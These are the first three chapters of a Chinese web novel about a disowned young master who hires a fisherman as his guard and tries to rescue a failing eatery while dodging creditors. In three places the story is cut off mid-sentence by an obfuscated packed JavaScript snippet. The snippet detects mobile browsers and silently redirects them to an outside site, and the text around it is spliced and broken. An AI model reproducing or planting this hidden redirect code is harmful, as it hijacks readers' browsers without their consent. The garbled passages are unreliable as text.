《骄纵夫郎被迫开食肆》 1. 食肆整治(一) 早春三月晨雾蒙蒙,天微亮,今州城码头来往船只数不胜数,空气中弥漫着刺鼻的鱼腥味,以及鸡屎鸭屎混着浓烈的汗水味。 一道浅蓝色身影从拥挤的人潮中灵活穿梭而过,伴随着鸡鸣鸭叫跳上了离岸边最近的一艘乌篷船。 “快快!快开船!” 船夫闻声而动,小船刚划出河岸,便闻身后浮桥传来落水的噗通声和几道洪亮的谩骂声。 “姓温的,跑得了和尚跑不了庙!给老子还钱!” 何老头这才看清来人,原来是孙家食肆新来的少东家。 “温少爷,您又被讨债的追了?” “别提了。”温沅撑着乌篷大口喘气,无力地摆了摆手,汗水从他泛红的脸颊上滑落,滴到手背上,细长淡眉登时蹙起,有些嫌弃地甩开。 何老头回头看到追债人手里还提着菜刀,吓了一跳,劝道:“您啊,干脆把食肆卖了,钱一还,也不用日日逃债了。” 温沅顿了顿,随口打了个哈哈:“难卖。” 何老头闻言摇了摇头,莫不是价钱压太低了,小哥儿不愿卖。 这么个娇贵的小哥儿难不成还想救起这间破烂食肆?怕是有些异想天开了。 温沅笑了笑,他何尝不知卖掉食肆还债是个好的选择?只是卖了食肆,他又该往何处去? 一个月前,他还是孙家二少爷,每日揣着大把银子去街头巷尾寻美食,日子逍遥又快活。 然天下诸多荒唐事,偏偏给他遇到了。 那日孙家三少爷带回来一个人,说这人才是真正的二少爷,而他并不是孙老爷孙夫人的亲生儿子,他是个假得不能再假的假少爷。 一纸薄薄的铺契买断了和孙家的所有关系,自此他从青州城来到了今州城。 本以为新的地方能过新的生活。 结果食肆又破又烂,蛛网铺满角落,菜品难吃到倒贴钱也吃不下,掌柜小二的态度差得离谱。 最要命的是,还欠了债。 每日天一亮便有债主提刀砍上门,生意做不成债也还不掉,天天像丧家犬一般,被追得狼狈逃窜。 温沅叹了口气,低头看到衣摆上沾了一坨黑乎乎臭烘烘的屎玩意儿,两眼一黑。 不如跳河算了,一了百了。 他犹豫许久,终于下定决心捻起衣摆一角,屏住呼吸把衣摆甩入水里,也不知道这样能不能把这坨鸡屎还是鸭屎还是什么屎的冲洗干净。 冲了一会儿,正要捞起,余光瞥见船侧有一暗影,温沅怔愣一瞬,转头看去,平缓清澈的河面上荡开一小片血水,水下黑影突然向上翻腾。 他本能地往后退,衣摆卡住,连忙往回扯,却发现扯不动,低头一看—— 一只染血的手,正紧紧抓着他的衣摆。 这只手极大,古铜色,骨节分明,曲起的指节压出的弧度如弯刀强劲,被稀释的血水顺着暴起的青筋划落,滴在浅蓝色的衣摆上,刚洗干净的衣摆瞬间污浊不堪。 哗啦一声,另一手也扒上了船边,紧接着船头冒出一脑袋。 纵横交错的湿发缝隙中,露出一双深邃有神的眸子,锐利的目光直直打过来。 温沅呼吸骤停,寒毛直立。 然后一脚把人踹回了河里。 “……” 乌篷船划出半丈,温沅下意识往后看,水下那人浮到了河面上,双目紧闭面容安详,腰间血流不止……触目惊心的鲜血汇入河中,碧波荡漾。 “怎么了?”何老头起身一看,浑浊的双眼猛地瞪大,“那是……余浪?” “认识?”温沅一愣。 “垌渔村的卖鱼郎余浪,在这块儿摇船的都认得。”何老头说:“温、温少爷……这可怎么办?” 温沅惊魂未定,指尖阵阵发白,他哪知道怎么办,后边一群讨债的,这时候救人就是找死。 何老头见他没吭声,便打算加快摇船,却见船头那小少爷猛地闭上眼,咬着牙说:“罢了……先救人。” 话音刚落,只见河面上的人倏地睁开眼,疑惑地往船上看。 “醒了?”温沅来不及多想,连忙把船桨递过去:“醒了就好,快抓紧船桨,我拉你上来。” 余浪没动,目不转睛地看着他,眼里的疑惑愈深。 “快呀!”温沅抬眼看追船又近了几丈,慌忙道,“不想死就给我抓住!” 余浪终于动了,他一把抓住船桨,十分轻巧地翻上了船。 混着血的水浸湿整片船头,愈是靠近,血腥味愈是浓烈,温沅愣愣地看着他,没想到这人受了伤动作还能如此利落。 “……你没事?”温沅问他。 余浪斜靠着船篷,晨雾散开,日光热烈,光影穿过发丝的缝隙,落在那小少爷细长微扬的眼尾上,像极了晶亮的鱼鳞,波光粼粼。 前几日船夫们都在传,孙家食肆换了个少东家,除了脸好看,一无是处,债不愿意还生意不好好做游手好闲吊儿郎当,满县逃窜。 钱不还,人不行,活该被人追着砍。 余浪心下一动,传言果真不能全信。 他眯缝一下眼,曲起腿,“我在睡觉。” 温沅震惊:“睡……什么?睡觉?” “嗯。”余浪应了一声。 温沅双目圆睁,“你是河神还是水鬼?在河里睡觉?你……” “我受了伤,走路去医馆费劲,顺着河漂去城南码头能快一些,那处有间老医馆。”余浪顿了顿:“便宜。” 温沅听着就像在胡诌,但是这人神情又十分认真,毕竟便宜。 以前的他或许不理解,现在他感同身受。 他扫过余浪腰间,腰带挂着一串小贝壳,鲜红的血一滴滴落到白色的贝壳上,晕开一朵小血花。 瞧着这般冷硬的人,竟然戴了一串可爱的小贝壳。 他不由地看了一眼余浪,然后从袖中掏出一包药粉丢过去,“这个能止血。” 余浪接住药粉包,看向他。 温沅回回逃债都会到码头坐船跑,想必他的事情在船夫口中早已传开,船夫都认识余浪,余浪肯定也知道不少他的传闻。 他没想掩饰,直说:“逃跑总会受伤,备点药粉以防万一。” 他没说的是,身上没多少钱,药粉只买了四小包,这是最后一包,下次受伤,就得硬扛。 温沅心下一叹,这东躲西藏的日子什么时候是个头啊。 不消片刻就到了城南码头,这处码头曾经繁华过,现在一片荒凉,路边野草从枯竹和破竹篓空隙间穿过,迎风摇曳。 一眼望去,空无一人,仅有两条旧木船停在岸边。 总算把追债人甩开了。 温沅付完船费,数了数剩下的铜钱,又是一叹,他抬头看向身旁的男人,刚要开口,便听野草后传来悉悉索索的声音。 一眨眼,两个大汉冲出,挡住前路。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224302|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 转过身,张屠户三人的船也到了岸。 温沅:“……”要不要追这么紧? “我说了,你今日跑不掉。”张屠户下了船,大步走来,“这钱,你必须还!” “张哥,我浑身上下,也就剩这二百文。”温沅摊开手。 “你拢共欠我们三十五两八钱,现在就拿几个铜钱敷衍我们?”张屠户怒道:“把我们当狗耍吗!” 别家食肆买肉赊账都没有赊一个月的说法,他们和孙家食肆合作多年,宽限了不少日子,结果换了个小少爷当东家,一口没钱便将他们打发了。 张屠户气得面肉横生,想要上前抓温沅,却被一个浑身湿透染了半身血的高大男人挡下。 男人面上没什么表情,黑沉的眸子淡淡扫过来,有股说不出的狠戾。 张屠户莫名发怵,又不愿退缩,冲上去就是一拳。 余浪凝神偏过身,躲开了这一击,余下两人也跟着打过来,拦路的两个大汉则是往温沅走去。 温沅见状不妙,捡起破竹篓砸向二人。 箩筐砸在地上,碎成几片,二人被迫止步,他又捡起枯竹胡乱挥动,一番折腾把自己弄得灰头土脸,倒也止住了两个汉子。 慌乱间,他看到张屠户站在余浪后方,欲趁其不备,挥起大拳。 “小心!”温沅把手里的枯竹扔了过去。 余浪自小游水,腰身如海鱼般灵活,他偏身后仰,大手接住枯竹朝张屠户的手腕重重敲去,遂后攥住张屠户衣领往地上一抡。 张屠户后背摔得生疼。 他攥紧拳头还未挥出,一根带着尖锐长刺的枯竹停在他瞪得极大的眼睛前,只余分毫。 其余四人你看我,我看你,就是没人再敢上前,生怕上前一步,那根长竹便会狠狠扎入张屠户眼中。 余浪手一松,起身后退几步,站在温沅面前,转了转手腕。 温沅在混乱中看到半身血的男人挡在他面前,落下的影子将他完全笼罩。 男人高大健壮,肩宽窄腰,双臂孔武有力,不仅遮住了炎炎烈日,还挡住了那群人的攻势。 温沅眼眶微睁,混沌的脑子里只剩一个念头:这人功夫好,救人救对了啊! 余下四人把张屠户搀扶起来,张屠户思及这几日追温沅都不曾遇到这号人物,竖眉问道:“你谁啊?” 有人犹豫道:“这好像是给丁家食肆送鱼的卖鱼郎?今早听闻丁家不愿给他结工钱,他就把店给砸了,十几个汉子都没拦住……我们还要上么?” 张屠户:“……” 上个屁! 十几个汉子都拦不住他们几个就能拦住了?今日有余浪在,打起来未必讨得着好,且等几日。 余浪能因丁家不结钱砸店,总不会转头给温沅这等老赖干活儿,只要余浪不在,逮个小少爷不成问题。 五人对视一眼,张屠户啐道:“温沅,今日算你好运,你给我们等着!” 一众人来也匆匆,去也匆匆。 温沅长舒一口气,今日追逃总算过去了,只是以后…… 他抽出腰间折扇敲了敲脑门,眼珠一转,试探道:“余浪,无论如何,方才若不是为了救你,我也不会被他们追上,对吧?” 余浪扬起一边眉,有些好笑地看向小少爷,须臾,从鼻子哼出一个“嗯”。 “救命之恩,以身相许,正好你也没了活计,不如给我当护院。” 2. 食肆整治(二) 温沅坐在老医馆里摇着纸扇,极有耐心地看着老大夫给余浪包扎。 伤口在腰侧,像是被什么利器划了一道,一掌长,不算深,包扎时,余浪眉头都没有皱一下,目光定在温沅微微勾起的嘴角上。 小少爷跟着他到了医馆,就一直是这种微微笑着的神情,瞧着,十分真诚。 “护院的职责呢,跟强身健体差不多,也就是挡一挡上门闹事者。”温沅扫了眼壮硕的胸肌和紧致结实的腹肌,笑容真挚,“你瞧你一身好功夫,埋头苦练看不到头,还得时常和人过过招,才能有所增进,不错吧?” 余浪不置可否,待到老大夫包扎好伤口,不紧不慢地穿上衣裳,“温少爷不怕我砸店?” 温沅想到那间食肆砸了也烂不到哪儿去,但能不砸还是不要砸,他只想找个护院结束东逃西窜的日子,“我相信你是位极有分寸的卖鱼郎。” 余浪别有深意地看着他,缓缓道:“行。” 孙家食肆位于城东里街最热闹的交叉口上,行人牛车马车络绎不绝,极为繁华喧闹。 再闻街边吃食,浓香诱人,令人止不住生咽涎水。 唯有孙家食肆门前,冷冷清清。 隔壁面馆老板在自家门前探头探脑,见温沅安然无恙地回来,身后也不见张屠户等人,“哟!温少爷回来了啊?今早到哪躲清闲了?” 温沅瞅了眼面馆里头的三两客人,折扇一指,“老板,有人要逃单。” “谁敢逃单!”面馆老板猛地转身,客人们满脸不爽地看着他,他安抚完客人转头追着温沅喊,“要我说,还是卖了食肆好,欠着债多难受啊是不是?” 温沅充耳不闻,甩了甩扇子回食肆。 他一进门,食肆掌柜陈贵礼捧着账簿笑容满面迎上,他留着半长不短的翘胡须,长得精瘦唯独肚子又圆又大,脚步快得不像年近半百的人。 “少东家,您瞧,今早来了好几个人,都是问食肆想卖几多银子,我都给记下了,其中要数丁家大掌柜出手最阔绰,这个数呢!”陈贵礼张开三指。 此话一出,柜台旁的小门传来悉悉索索的动静。 温沅看了眼陈贵礼,接过账簿到柜台上翻看,丁家食肆出价三百两,剩下八十两到二百两不等,八十两是隔壁面馆老板出的价。 他啧了一声,趁火打劫呢? “不过啊,”陈贵礼特意压低了嗓子,声音却不小:“来问价的都说只要食肆。” 只要食肆的意思是伙计们都得辞退,就现在伙计们的德行,辞退无可厚非。 门后动静倏地停了。 “收着吧,回头再看。”温沅合上账簿,扫了眼食肆摆得还算整齐的桌椅,就知张屠户等人只是去追他,并没有砸店,“今早可有客人?” 陈贵礼见温沅收下账簿,笑容更大了,“今早那般闹,自然没有客人。” “没有客人,陈掌柜笑这般高兴?” 陈贵礼脸一僵,“到了晚食兴许就有人来了。” “晚食有人来就有鬼了……”温沅把陈贵礼打发走,拿着账簿去后院。 一进后院,便看到一口大水缸,水缸旁边是水井,地上湿哒哒一片,混着一堆枯黄的菜叶子。 水井的左边便是后厨另一侧门,紧贴着后厨的是柴房,柴房旁边是窖房,再过去便是伙计们住的屋子、茅房、驴棚。 方才挤在后院窄门偷听的四人回到各自干活儿的位置,目光明里暗里瞥向进来的温沅。 见温沅看过来,全都偏开了头佯装忙手里的活儿。 温沅脚步一拐,进了右边第一间房。 门关上,伙计们才放下手里不存在的活计。 厨娘吕三娘往温沅的房门看了一眼,双手在襜衣上擦了擦,眉头紧蹙,“七豆,你说少东家是不是真要卖了食肆?” 伙计周七豆摇了摇头,“不知。” 另一个伙计郭巴子呸掉嘴里的菜叶子,“三百两呐三百两,我要有这三百两,财神不得喊我爹叫我娘?” 陈大立靠在厨房门框处,悠闲道:“卖了也好,欠咱们的工钱就能结清,城里头这么多食肆,何愁找不到活计?” 剩下仨人瞅了他一眼,没接话。 陈大立是大厨,辞了这家不愁没下家,哪哪都吃香,平时他和陈掌柜都不住食肆里,哪像他们这些打下手干伙计的,在城里头找份包吃包住的活计不容易。 “您倒是好找。”郭巴子撇撇嘴,瞅了眼周七豆,“七豆不好找吧?才十四,又是个无家可归的小哥儿……离了食肆可就没处去了。” 吕三娘看了眼沉默不语的周七豆,连忙让郭巴子别说了。 郭巴子说:“不说七豆,三娘你是不是也没地儿去?回了娘家有柴房给你住不?” 吕三娘一下红了眼,没话了。 “要不……”郭巴子凑到陈大立面前,“大立哥,带上我呗?” “你?”陈大立上下打量他,翻了个白眼回厨房去了。 郭巴子看得火大,啐了口,“稀罕你带?狗都不稀罕!”说完甩着布巾回大堂。 温沅站在木窗后,听到院子里吕三娘和周七豆各自散去,回到床边,解开外衣躺倒在床上看着乌黑的屋顶。 也许卖了食肆更好,债主能拿到债款,伙计能拿到月钱,而他拿着剩下的二百多两,寻处小院逍遥自在。 可一想到刚刚听到的话,他心口像是憋了一口气。 刚到食肆时,这间屋子是周七豆收拾的,他没带被褥,也是吕三娘低价卖了床新被褥给他。 他已经无家可归了,也许撑一撑,就能让这些人有一个新的家,无论这个家如何破败,至少能挡风遮雨。 温沅扯过被子压住脑袋。 一觉到了次日。 清晨淅淅沥沥下了雨,飘来的雨雾裹着一层凉意。 院子里,吕三娘在洗厨具,周七豆在井边打水,二人见少东家起这么早,讶异了一瞬,连忙打了声招呼。 “少东家早,您想吃甚么早饭?”吕三娘问。 “厨房有什么做什么吧。”温沅没什么胃口,说完转头去找木盆洗漱,一看木盆里还放着昨日换下的脏衣裳,整个人都颓了。 他犯了愁,站在木盆前犹豫半晌,终是拿起脏衣裳放至一旁,洗衣裳什么的,押后再说。 洗漱完,早饭也端出来了,两个包子,一碗稀粥和半碟咸菜,摆在后院的小桌子上。 粥稀得只剩米汤,咸菜散发着一股腌过度的怪味,唯有包子意外地不错,荠菜馅儿的。 热腾腾的包子,皮薄馅儿多,美中不足的是没有放肉,加点肉末会更香。 想到这儿,温沅觉得手中的包子都没滋味了。 没滋没味的早饭吃完,忍耐着去把泡在水里的脏衣裳拎……没拎起。 这衣裳也太重了! 穿的时候怎么一点儿也不重! 不洗了!反正过了水,就算完事儿。 他咬着牙把湿衣裳往竹衣架上甩去,老旧的竹衣架忽地发出一声“咔”,整个往一旁歪斜,眼看着就要倒下,被冲过来的吕三娘和周七豆稳住。 温沅合该感到尴尬,但不知为何,很想笑。 但他没笑出来。 “这个竹衣架用久了不结实,少东家,我来吧。”吕三娘说。 “啊。”温沅应完后退了一步。 周七豆快速和吕三娘把竹衣架搭好,又默默拿起湿衣裳拧干晾上去,一眨眼的功夫,所有衣裳都在阳光下飘扬着。 温沅暗自叹了一口气。 吕三娘抓着襜衣擦了又擦,踌躇片刻,“少东家,食肆……能不卖么?” 周七豆瞬间看过来,两双眼睛殷切地看着温沅。 陈大立无所谓食肆卖不卖,郭巴子没了活计还能回家,唯有他们二人,无处可去。 吕三娘绞着襜衣,“我一定听您的,好好干活,绝不偷懒。” 周七豆不太会说话,平时招呼客人都没多少话,这会儿也不知道该说什么,只一个劲儿点头。 温沅默然片刻,心下一叹,“食肆照常开门,该忙什么忙什么。” 先前总有人上门讨债导致生意没法做,现下他刚招揽了一个高大威猛的护院,怎么能不试一试就卖? 管他呢,先撑一撑吧,撑不下去再说。 这食肆虽破,但也不愁人盯着。 二人不知道这算不算不卖了,但听到食肆照常开门安心不少,险些哭出,温沅连忙让他们去忙活。 衣裳晾完,后门传来三下敲门声,紧接着是一声高呼:“陈大厨,送菜来了!” 周七豆放下木桶跑去开门。 来的人是青苗寨的菜农张阿爷,张阿爷挑了两担子新鲜菜进门,其中就有温沅正在吃的荠菜。 新鲜青菜放不久,每日一送,别家食肆生意好时,每日送两三次都是常有的事。 两担子菜放在后院,陈大立和吕三娘一人一担子挑选,温沅心下好奇,也过去看了一下。 少东家亲自盯着,陈大立和吕三娘看得十分仔细。 张阿爷给孙家食肆送菜这么多回,第一回看他们挑拣得如此仔细,登时有些忐忑,生怕这趟被找借口压价。 幸好,他家菜侍弄得好,除了挑出几片被虫子咬烂的黄叶外,倒是没别的问题。 十六斤菜,不多不少。 “这个季节的春笋最嫩,价也跟着涨了两文,这两担拢共三十九文。”张阿爷双手搓了搓裤子,笑呵呵地看着陈大立。 陈大立转头看向温沅,吕三娘和周七豆也跟着转过去。 全都在等温沅拿钱。 温沅刚要掏钱,一想到自己仅剩的二百文,便犹豫道:“账不能乱,这个合该从账上出,叫陈掌柜来付钱便是。” 陈贵礼一听,当即哭到:“账上也没甚么钱了呀!少东家,钱匣这点钱,哪里够?” 钱匣木盖一掀。 也是二百文。 付个菜钱不余多少。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郭巴子搁下布巾,冲那马脸的客人回道:“都没人上门追债当然不去。” “哟,还完了啊?食肆卖了?”马脸摸着下巴,目光在柜台后的温沅身上黏了一圈,“啥时候卖的?” “没卖。”郭巴子说。 “不卖能还债啊?就你们这啥也不会的小少爷,不出三天,食肆就得倒闭咯!” 桌上另一麻子脸笑嘻嘻回道:“你瞅瞅除了我们兄弟还有谁来光顾啊?” “就是,难吃死了。”那三个客人起身一把推开郭巴子,大摇大摆往大门走去。 温沅叫停他们,“几位还未付钱呢。” 马脸转过头:“这么难吃,还要给钱?” 温沅往桌子处看了一眼,“难吃你们也吃完了,自然要给钱,郭巴子,给客人们算算多少钱。” “十个包子三份稀粥六个煮蛋还有一份咸菜,共三十三文。”郭巴子说。 马脸露出一丝嘲讽的笑,靠到柜台上说:“我们常来你家食肆吃,饶个三文,三十文罢。” 饶得不多,温沅也爽快:“行。” 马脸闻言没有立即掏钱袋,转而问道:“听闻少东家不久前刚到今州城?” 温沅皱起眉,“几位的钱是分着给还是一起给?” “少东家都要卖食肆了,还盯着这几文钱呢?”麻子脸说:“少东家见外了啊。” 温沅一顿,抬眼缓缓问道:“几位什么意思?” “意思就是咱们兄弟几个身上忘了带钱,先给记账,下回来了再一块儿给。” “东家,这儿。”郭巴子翻开账簿,点了点,“这处写的是这几位的账。” 温沅低头一看,可不止三十文,全部加起来,将近一两银子,这可是大钱啊! 他挑起眉,淡声道:“几位欠这么多钱,今日不算那甚么时候算?” 麻子脸一拍柜台:“说的甚么话!你问问你家掌柜,我们像是欠债不还的人吗?” 陈贵礼听到声音从后院跑进来,见是熟客,扬起笑道:“哪来的话,三位兄弟常来,怎会不给钱?我们少东家刚来,不认得几位罢了。” 马脸调笑道:“哎,那咱们兄弟多来几回,便认识了。” “账清了再来罢。”温沅啧了一声:“免得下回误会几位不给钱。” “少东家话里有话啊……” 麻子脸刚要上前,食肆门口走进来一人,逆着光,看不清神情。 只见此人墨发侧边几股麻花辫,长发披肩,肩宽窄腰,手里拎着两个鱼篓,肩上还背着一个,鱼篓湿漉漉的还滴着水。 一双长腿一步比别人两步,转眼便到了柜台前,他说:“我来上工。” “少爷。” 3. 食肆整治(三) 男人身量高,一身肌肉壮实有力,他一人站在柜台前,无形之中带来极强的压迫感,淡漠的眸子随意扫过三位客人,最后停留在麻子脸扒着柜台的手上。 麻子脸感觉双手好似被蛰了一般,慌乱松开,他退了两步,暗自打量眼前的男人,原以为只是个送货的,看那周身气势却觉得不简单。 他眼珠一转,强笑着说:“少东家忙着,兄弟们就不打扰了……” 说着便扯了另外两个兄弟要走。 “余浪,拦住他们!” “好。”余浪那没什么情绪的眸子微微抬起。脚一勾,长椅横插路中,大刀阔斧地坐在长椅上,宛如煞神般,瞬息便堵住了唯一的去路。 温沅搓开折扇兀自赞叹,还不忘提醒道:“一两银子,拿来吧。” 麻子脸见跑不掉,冲陈贵礼叫:“陈掌柜,咱们兄弟向来最照顾你家的生意,你便是这般对兄弟的?” “哎哟,都是误会!” 陈贵礼对那几位压了压手,借步小声劝温沅:“少东家,这几位赊账是惯例了,没几个银子,您又何必和他们计较?且这几位都是老客了,赊账在所难免,您不愿卖食肆,又不给老客行方便,往后这生意还怎么做?” 温沅听得想笑:“陈掌柜如此大方,那他们赊的账便由掌柜你来填?” 陈贵礼噎住。 “总之,赊账免谈。” 他欠一屁股债没还呢,这都准备带着伙计喝西北风了,想捞便宜,没门! 陈贵礼忍了又忍:“少东家啊,我也是为了食肆好,食肆常有地痞无赖上门,若不是倚仗……” 温沅倏地收起扇子,冷着脸,“我用得着他们的倚仗?余浪!” 话音刚落,便见一道黑影隔空飞过,重重摔在柜台前,发出一声巨响,扬起满地灰尘。 众人愣在原地,这娇少爷从哪里找来的煞神! 唯有温沅连连赞叹。 这护院找得不亏,赚翻了! 有了余浪,哪里还用得着怕这等泼皮无赖? 余浪收回手,面无表情地冲剩下两人抬了抬下巴,“结账。” 马脸和麻子脸险些跪下,平日里食肆遇到的痞子不过是合伙作戏混口饭吃罢了,哪里有过真干架的事儿? 两人哆嗦着腿来到柜台前,东拼西凑摸出一两碎银往柜台上一丢。 “账、账清了……” 温沅点了点数,勾起嘴角:“食肆欢迎几位下次再来。”折扇一挥,“余浪,放人。” 余浪偏开身,将长椅勾回原位。 三人你扯我我扯你地冲出食肆,发誓打死也不来了。 温沅提笔勾账,入账一两,喜笑颜开。 陈贵礼愁容满面地看了一眼温沅,但也没开口。 经营食肆可不是简单事,以他看啊,这食肆最后恐怕还是得卖了,他也不必在此事开罪温沅,就等着卖了食肆收钱便是。 温沅摸摸小碎银,心情大好,账簿一合,看向余浪,“你伤好了?” 余浪捞起鱼篓走到柜台前,“无碍。” 陈贵礼愣了愣:“少东家,这位是?” 温沅手指轻敲几下,抬头看向余浪;余浪半垂眼看着他,似乎在等他说话。 “我新招的护院,陈掌柜不是担心有地痞无赖吃白食么?有他在就不用担心了。” 话音刚落,温沅便见余浪的眉尖轻挑了一下,可有可无的样子。 陈贵礼登时皱起脸,哀声劝道:“少东家,如今店里生意萧条,伙计够用,没必要再多招一人啊,这人瞧着凶,指不定还会赶客。” “赶客好啊,方才那种老赊账的客,都赶走。”温沅探头看向鱼篓:“这是什么?” 余浪把大小三个鱼篓放在地上,鱼篓盖子一掀,赫然十几条大鱼,小鱼几十条不等,鲜活的鱼儿在鱼篓里上蹿下跳,水珠淌下,空气中泛着丝丝腥味。 “今早捞的新鲜鱼,我带了些过来。” 新!鲜!鱼! 温沅蹭了蹭下巴,自从他来了食肆,好几天没吃过荤腥,天天不是青菜面,就是稀粥拌咸菜。 逃债路过别家吃食店闻到传来的肉香味,馋得他险些跑不动。 “这么多?” 余浪随手捞起一条鲤鱼,“不多,少爷吃不完,可拿去卖。” “拿去卖?”温沅瞬间被点醒。 今早还在想怎么经营食肆,钱没有货没有,愁得他恍恍惚惚。 但现在余浪带来了鱼,这不就是瞌睡送枕头! 他回想起在青州城吃过的鱼数不胜数,光是鱼羹就有不下十种,各式菜品眼花缭乱。 有了鱼,就不愁食肆没生意。 他双眼放光地看着余浪,“若是之后让你送鱼,就今日的量,你能送么?” 余浪把鱼丢回鱼篓,垂眸看他:“能。” “少东家,您要卖鱼?”陈贵礼问。 “不错。”温沅把周七豆郭巴子叫了过来:“先把鱼拿去后院。” 周七豆闻言搬起一个鱼篓率先去了后院,郭巴子磨磨蹭蹭半晌才搬过去。 温沅见陈贵礼杵在旁边,“陈掌柜在食肆多年,想必对菜品懂得多,不如去后院和大厨厨娘想想怎么弄?” 还想探听一二的陈贵礼:“……是。” 待人一走,温沅脚勾了张椅子到余浪身边,合扇一指,“坐。” 余浪挑了挑眉,撩起衣摆大刀阔斧地坐下,仰头静等小少爷指示。 温沅斜靠着柜台:“你往常给丁家食肆送鱼,都什么价?” “常见的鲫鱼鲤鱼,按大小鲜活,十文到二十文不等。” “那你方才拿来的,岂不得百文以上?” 余浪点头。 每日百文,一个月便是三两,按理说这个钱算少的,温沅看过食肆的账簿,往常每日进猪肉鸡肉鸭肉各种青菜都得一两多,要不然也不会欠下张屠户等人三十几两。 钱是不多,难就难在他手头上没钱。 温沅回到柜台后,估摸了一下两人的距离,清了清嗓子,试探道:“可以……赊账不?” “你也知道,我手头紧张,方才收来的一两银子得紧着用,要是你着急用钱,我可以给二……”他咬咬牙,“三十文!等食肆挣了钱,这些账我都会算清——” “行。”余浪说。 “楚,绝不少……”温沅停下,“你刚说话了?” “嗯。”余浪看着摇头晃脑的小少爷,“我说行。” 太上道了! 温沅从柜台后走出,一展折扇,微微笑道:“以后挣钱了,你想要什么尽管说。” 余浪黑压压的眼底闪过一丝意味深长的笑意,“那就先谢过少爷。” “好说。”温沅勾唇笑了笑。 陈大立蹲在木桶前盯着那十几条鱼,见陈贵礼走来,用烟杆子敲了敲桶沿,“叔父,这鱼挺肥,我家娃前两天叫着想吃呢。” 陈贵礼探头看了两眼,肥鱼跳得厉害,回家加点白嫩豆腐煲个鱼汤,肯定鲜,“留几条肥的。” “行嘞!”陈大立想到今晚有鲜鱼吃就高兴,“那这条最大最肥的,下工前我给叔父杀好,叔父拿回去让婶子给您煲鱼汤。” 陈贵礼点了点头,这大侄子不愧是他带来的人,做事深得他心,欣慰至极,“剩下那些你看着办。” “全都清蒸。”陈大立下了决定。 吕三娘从外面进来,正好听到这一句,犹豫道:“鲤鱼应当是红烧更好卖?还有小一些的鱼——” 话没说完,陈大立打断她,“你懂什么?你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224304|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大厨我是大厨?还想红烧?也不看看瓦罐里剩多少豆酱,我看是你想吃!” 吕三娘涨红了脸解释道:“掌柜的,我不是这个意思,我、我没想吃……” “行了。”陈贵礼打断她,“后厨的事儿听大立的,说话做事得有规矩,一个个闹起来像什么样。” 吕三娘期期艾艾地应了一声,手搓了搓襜衣回到后院洗碗。 她刚拿起两颗无患子,陈贵礼见状皱起眉头,“店里生意不好,这些东西都紧着用,别浪费了。” 说完,他看到周七豆和郭巴子一人手上拿了三颗,顿时黑了脸,“拿这么多做甚!买无患子不要钱?” 郭巴子全部丢了回去,“掌柜的,不拿这个,洗不干净桌子啊。” 陈贵礼瞪着他:“那桌子天天用,能脏到哪儿去?” “油多,难擦。”周七豆说。 “难擦就多使点劲!”陈贵礼怒道:“整日想着偷奸耍滑,那油能不多吗?” 周七豆抿了抿嘴,没接话。 训斥声从后院传到大堂,温沅走过去看了一眼,周七豆闷头抱着木盆一声不吭,转头问陈贵礼,“怎么了?” “少东家,这厮犯懒,我便说了说他,你瞧他那爱答不理的态度。”陈贵礼说:“这伙计一日不盯着,就想着法儿偷懒。” 周七豆扣了一下木盆:小声说:“我没有,桌子油渍没有无患子本就难擦。” “你还敢犟!”陈贵礼指着他,“我看你是不想干了!” “无患子是我让他们用的。”温沅说。 “少东家——” “行了。”温沅打断他,“新菜品做好了?” 陈贵礼没想到温沅会护着那伙计,脸上闪过一丝诧异,“……是,鱼还在蒸,少东家且等一等。” “只有蒸鱼?”温沅走去后厨看了看,见陈大立站在灶前守着一条蒸鱼,“一道清蒸鱼不够,再来一道辣烩鱼腩、砂锅焖鲈鱼、白玉鱼汤、鱼蓉粟米羹。” 这些都是温沅以前去的酒楼食肆常点的菜,有汤有羹,辣的下饭,焖的入味,蒸的清爽,在肉菜选择太少的情况下,必须得增加多一些做法的选择。 他说完,厨房一片寂静。 “怎么?这些不会做?”温沅问陈大立。 陈大立看了一眼后边进来的陈贵礼,陈贵礼说:“少东家,这些都是大立的拿手菜,这不需要一道一道试吧?” “试。”温沅想到之前吃过的坨坨面,对陈大立的手艺并不十分信任,“拿手菜也得试,我说可以才能上桌。” 这是食肆来之不易的翻身机会,温沅必须把握住,容不得一丝差错。 陈贵礼被温沅的任性惊到了,“少东家,这么多菜,不合您口味就不能上,那得试到什么时候?” “试到能入口为止。”温沅不欲多说,“三娘,搭手做。” “哎,好。”吕三娘快步出去杀鱼。 陈大立瞅了眼陈贵礼的脸色,待到陈贵礼叹气挥手,才不情不愿地去准备配菜。 “陈掌柜似乎有意见?”温沅问。 陈贵礼攒了一肚子气,然而面上不敢显露一丝一毫,“没有意见,少东家想试,自然要试的。” 